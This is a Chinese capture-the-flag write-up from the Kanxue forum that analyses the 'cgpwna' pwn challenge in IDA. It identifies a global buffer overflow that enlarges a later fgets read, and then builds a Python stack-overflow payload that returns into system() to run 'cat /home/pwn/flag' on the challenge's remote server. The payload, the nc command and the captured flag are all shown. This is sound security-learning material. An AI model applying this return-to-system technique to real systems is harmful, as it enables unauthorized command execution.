簡單分析南郵實訓平臺pwn方向第二題 - Stack Overflow
系統 : Windows xp / ubuntu 32bit
程序 : cgpwna
要求 : 緩衝區溢出執行cat命令
使用工具 :IDA
在linux系統中,使用file命令查看文件的信息:
➜ playground file cgpwna
cgpwna: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=8648818dcc39023c4dac61d2edb091bcd3fd3270, not stripped
發現是32位的可執行程序,我們可以先運行一下,了解其輸出:
➜ playground ./cgpwna
what do you want to do?
1.leave some message.
2.nothing.
your choice:
1
you can leave some message here:
123
your name please:
12333
Thank you
what do you want to do?
1.leave some message.
2.nothing.
your choice:
1
you can leave some message here:
1
your name please:
12
Thank you
what do you want to do?
1.leave some message.
2.nothing.
your choice:
2
bye
直接用ida載入該程序,按下Shift+F12查看字符串列表:
.rodata:08048700 0000000C C echo hello!
.rodata:0804870C 00000018 C what do you want to do?
.rodata:08048724 00000016 C 1.leave some message.
.rodata:0804873A 0000000B C 2.nothing.
.rodata:08048745 0000000D C your choice:
.rodata:08048754 00000021 C you can leave some message here:
.rodata:08048775 00000012 C your name please:
.rodata:08048787 0000000A C Thank you
.eh_frame:08048813 00000005 C ;*2$\"
雙擊字符串bye查看具體信息,這裡通過交叉參考功能定位到main函數,按下F5查看其偽c代碼:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
while ( 1 )
{
menu();
fgets(&choice, 100, stdin);
if ( choice != 49 )
break;
message();
}
puts("bye");
return 0;
}
其中的兩個函數內容如下:
int menu()
{
puts("what do you want to do?");
puts("1.leave some message.");
puts("2.nothing.");
return puts("your choice:");
}
int message()
{
char s;
n = 10;
puts("you can leave some message here:");
fgets(A, 60, stdin);
puts("your name please:");
fgets(&s, n, stdin);
return puts("Thank you");
}
這裡,接收用戶輸入的函數的fgets函數:
函數原型
char *fgets(char *buf, int bufsize, FILE *stream);
參數
*buf: 字符型指針,指向用來存儲所得數據的地址。
bufsize: 整型數據,指明存儲數據的大小。
*stream: 文件結構體指針,將要讀取的文件流。
該函數指定了buf的大小,看上去沒有什麼問題,我們再檢查下緩衝區:
這裡,緩衝區只有40位元組的大小,卻指定可以接受60個字節大小的數據呢。我們雙擊'A'查看詳細信息:
.bss:0804A080 ; char A[40]
.bss:0804A080 A db 28h dup(?) ; DATA XREF: message+2Do
.bss:0804A0A8 ; int n
.bss:0804A0A8 n dd ? ; DATA XREF: message+6w
.bss:0804A0A8 ; message+4Br
我們可以給予緩衝區A超過40位元組的數據來替換掉n的值,這樣就能溢出緩衝區s的值了:
雙擊n查看函數棧視圖:
-00000030 s db ?
-0000002F db ? ; undefined
-0000002E db ? ; undefined
-0000002D db ? ; undefined
-0000002C db ? ; undefined
-0000002B db ? ; undefined
-0000002A db ? ; undefined
-00000029 db ? ; undefined
-00000028 db ? ; undefined
-00000027 db ? ; undefined
-00000026 db ? ; undefined
-00000025 db ? ; undefined
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 db ? ; undefined
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
此處我們知道,要溢出覆蓋n的值,需要40+4個字節的數據填充;而要溢出覆蓋函數返回地址,則需要30h+8h=38h(56)個字節的數據。
在ida的函數列表視圖中,很輕鬆的找到了pwnme函數:
int pwnme()
{
return system("echo hello!");
}
我們需要修改函數的參數,然後調用system函數執行cat命令查看flag文件。
再來仔細看看函數的彙編代碼:
.text:0804851D public pwnme
.text:0804851D pwnme proc near
.text:0804851D push ebp
.text:0804851E mov ebp, esp
.text:08048520 sub esp, 18h
.text:08048523 mov dword ptr [esp], offset command ; "echo hello!"
.text:0804852A call _system
.text:0804852F leave
.text:08048530 retn
.text:08048530 pwnme endp
函數將command字符串的地址放入esp寄存器指向的棧空間,然後調用了system函數。
我們要做的事,就是將要執行的命令放入緩衝區A中(地址固定),然後將緩衝區A的地址,放入esp寄存器指向的棧空間中,最後直接跳轉到地址0804852A調用system函數。
也就是說,我們想要利用漏洞執行cat命令,有兩個條件:
我們知道,執行ret時會彈棧,esp會指向函數返回地址的下一格棧單元:
所以不妨填充函數返回地址下方的棧單元為offest A,當ret 指令跳轉執行call system命令時,esp也指向了緩衝區A的地址。
按照以上推理,用python編寫shellcode如下:
cmd ='cat /home/pwn/flag\x001111111111111111111111111\n'
f = open('my_shellcode','w')
f.write('1\n')
f.write(cmd)
f.write('1111111111111111111111111111111111111111111111111111\x2A\x85\x04\x08\x80\xA0\x04\x08\n')
f.close()
連接伺服器,用生成的文件作為輸入:
➜ playground nc 182.254.217.142 10001 < my_shellcode
what do you want to do?
1.leave some message.
2.nothing.
your choice:
you can leave some message here:
your name please:
Thank you
flag{Naya_chyo_ma_thur_meh_lava_ma_puoru}
1、棧溢出漏洞的利用和緩解
https://evilpan.com/2018/03/17/exploit-the-stack/#top
2、fgets函數
https://baike.baidu.com/item/fgets/10942211?fr=aladdin
https://bbs.pediy.com/user-800468.htm
本文由看雪論壇 顧言庭 原創
轉載請註明來自看雪社區
熱門圖書推薦:
戳立即購買!(晉級賽Q1正在火熱進行中~!比賽時間:3.10-3.24)
公眾號ID:ikanxue
官方微博:看雪安全
商務合作:wsc@kanxue.com